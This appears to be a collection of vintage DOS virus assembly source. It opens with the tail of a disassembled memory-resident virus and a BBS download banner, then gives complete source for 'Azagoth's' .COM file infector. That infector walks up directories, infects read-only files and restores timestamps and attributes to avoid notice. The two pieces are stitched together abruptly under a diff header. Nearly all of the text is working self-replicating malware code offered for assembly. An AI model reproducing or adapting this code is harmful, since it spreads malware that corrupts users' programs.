inc si
inc si
mov dx,si
mov ax,cs
mov es,ax
mov bx,5Ah
mov ah,4Ah ; 'J'
int 21h ; DOS Services ah=function 4Ah
; change memory allocation
; bx=bytes/16, es=mem segment
mov bx,cs:psp_cmd_tail
mov ax,cs
mov es,ax
mov cs:data_30,ax
mov cs:data_31,ax
mov cs:data_29,ax
mov ax,4B00h
mov cs:data_22,ss
mov cs:data_23,sp
pushf ; Push flags
call cs:data_5
mov ax,cs:data_22
mov ss,ax
mov ax,cs:data_23
mov sp,ax
mov ax,cs
mov ds,ax
mov dx,537h
int 27h ; Terminate & stay resident
; dx=offset last byte+1, cs=PSP
loc_44:
mov ah,0E1h
int 21h ; ??INT Non-standard interrupt
mov si,4F3h
mov cs:[si+3],ax
mov ax,4F8h
mov cs:[si+1],ax
mov ax,cs:data_20
mov bx,cs
;* jmp far ptr loc_1 ;*
db 0EAh, 00h, 00h, 00h, 00h
db 8Bh,0C8h, 8Eh,0DBh
db 0BEh, 00h, 01h
db 0BFh, 37h, 05h
locloop_45:
mov al,[di]
mov [si],al
inc si
inc di
loop locloop_45 ; Loop if cx > 0
mov si,51Fh
mov cs:[si+3],ds
mov al,byte ptr ds:[100h]
sub al,0Bh
mov byte ptr ds:[100h],al
mov ax,ds
mov es,ax
mov ss,ax
jmp far ptr start
data_35 db 'Support Your Police'
data_36 db 0D8h
db 20h
seg_a ends
end start
; ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
; This quality file was downloaded from
;
; E X T R E M E
; ------------+------------ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
; /|\ ³ ³
; / | \ ³ Portland Metro All Text BBS ³
; / | \ ³ ³
; / | \ ³ 9600: 503-775-0374 ³
; / | \ ³ SysOp: Thing One ³
; / | \ ³ ³
; / | \ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
; d r e a m e s

@@ -0,0 +1,257 @@
; virus from ALT-11 mag
; ---------------------------------------
;
; Coded by: Azagoth
; ---------------------------------------
; Assemble using Turbo Assembler:
; tasm /m2 <filename>.asm
; tlink /t <filename>.obj
; ---------------------------------------------------------------------------
; - Non-Overwriting .COM infector (excluding COMMAND.COM)
; - COM growth: XXX bytes
; - It searches the current directory for uninfected files. If none are
; found, it searches previous directory until it reaches root and no more
; uninfected files are found. (One infection per run)
; - Also infects read-only files
; - Restores attributes, initial date/time-stamps, and original path.
; ---------------------------------------------------------------------------
.model tiny
.code
org 100h ; adjust for psp
start:
call get_disp ; push ip onto stack
get_disp:
pop bp ; bp holds current ip
sub bp, offset get_disp ; bp = code displacement
; original label offset is stored in machine code
; so new (ip) - original = displacement of code
save_path:
mov ah, 47h ; save cwd
xor dl, dl ; 0 = default drive
lea si, [bp + org_path]
int 21h
get_dta:
mov ah, 2fh
int 21h
mov [bp + old_dta_off], bx ; save old dta offset
set_dta: ; point to dta record
mov ah, 1ah
lea dx, [bp + dta_filler]
int 21h
search:
mov ah, 4eh ; find first file
mov cx, [bp + search_attrib] ; if successful dta is
lea dx, [bp + search_mask] ; created
int 21h
jnc clear_attrib ; if found, continue
find_next:
mov ah, 4fh ; find next file
int 21h
jnc clear_attrib
still_searching:
mov ah, 3bh
lea dx, [bp + previous_dir] ; cd ..
int 21h
jnc search
jmp bomb ; at root, no more files
clear_attrib:
mov ax, 4301h
xor cx, cx ; get rid of attributes
lea dx, [bp + dta_file_name]
int 21h
open_file:
mov ax, 3D02h ; AL=2 read/write
lea dx, [bp + dta_file_name]
int 21h
xchg bx, ax ; save file handle
; bx won't change from now on
check_if_command_com:
cld
lea di, [bp + com_com]
lea si, [bp + dta_file_name]
mov cx, 11 ; length of 'COMMAND.COM'
repe cmpsb ; repeat while equal
jne check_if_infected
jmp close_file
check_if_infected:
mov dx, word ptr [bp + dta_file_size] ; only use first word since
; COM file
sub dx, 2 ; file size - 2
mov ax, 4200h
mov cx, 0 ; cx:dx ptr to offset from
int 21h ; origin of move
mov ah, 3fh ; read last 2 characters
mov cx, 2
lea dx, [bp + last_chars]
int 21h
mov ah, [bp + last_chars]
cmp ah, [bp + virus_id]
jne save_3_bytes
mov ah, [bp + last_chars + 1]
cmp ah, [bp + virus_id + 1]
jne save_3_bytes
jmp close_file
save_3_bytes:
mov ax, 4200h ; 00=start of file
xor cx, cx
xor dx, dx
int 21h
mov ah, 3Fh
mov cx, 3
lea dx, [bp + _3_bytes]
int 21h
goto_eof:
mov ax, 4202h ; 02=End of file
xor cx, cx ; offset from origin of move
xor dx, dx ; (i.e. nowhere)
int 21h ; ax holds file size
; since it is a COM file, overflow will not occur
save_jmp_displacement:
sub ax, 3 ; file size - 3 = jmp disp.
mov [bp + jmp_disp], ax
write_code:
mov ah, 40h
mov cx, virus_length ;*** equate
lea dx, [bp + start]
int 21h
goto_bof:
mov ax, 4200h
xor cx, cx
xor dx, dx
int 21h
write_jmp: ; to file
mov ah, 40h
mov cx, 3
lea dx, [bp + jmp_code]
int 21h
inc [bp + infections]
restore_date_time:
mov ax, 5701h
mov cx, [bp + dta_file_time]
mov dx, [bp + dta_file_date]
int 21h
close_file:
mov ah, 3eh
int 21h
restore_attrib:
xor ch, ch
mov cl, [bp + dta_file_attrib] ; restore original attributes
mov ax, 4301h
lea dx, [bp + dta_file_name]
int 21h
done_infecting?:
mov ah, [bp + infections]
cmp ah, [bp + max_infections]
jz bomb
jmp find_next
bomb:
; cmp bp, 0
; je restore_path ; original run
;
;---- Stuff deleted
restore_path:
mov ah, 3bh ; when path stored
lea dx, [bp + root] ; '\' not included
int 21h
mov ah, 3bh ; cd to original path
lea dx, [bp + org_path]
int 21h
restore_dta:
mov ah, 1ah
mov dx, [bp + old_dta_off]
int 21h
restore_3_bytes: ; in memory
lea si, [bp + _3_bytes]
mov di, 100h
cld ; auto-inc si, di
mov cx, 3
rep movsb
return_control_or_exit?:
cmp bp, 0 ; bp = 0 if original run
je exit
mov di, 100h ; return control back to prog
jmp di ; -> cs:100h
exit:
mov ax, 4c00h
int 21h
;-------- Variable Declarations --------
old_dta_off dw 0 ; offset of old dta address
;-------- dta record
dta_filler db 21 dup (0)
dta_file_attrib db 0
dta_file_time dw 0
dta_file_date dw 0
dta_file_size dd 0
dta_file_name db 13 dup (0)
;--------
search_mask db '*.COM',0 ; files to infect: *.COM
search_attrib dw 00100111b ; all files a,s,h,r
com_com db 'COMMAND.COM'
previous_dir db '..',0
root db '\',0
org_path db 64 dup (0) ; original path
infections db 0 ; counter
max_infections db 1
_3_bytes db 0, 0, 0
jmp_code db 0E9h
jmp_disp dw 0
last_chars db 0, 0 ; do last chars = ID ?
virus_id db 'AZ'
eov: ; end of virus
virus_length equ offset eov - offset start
end start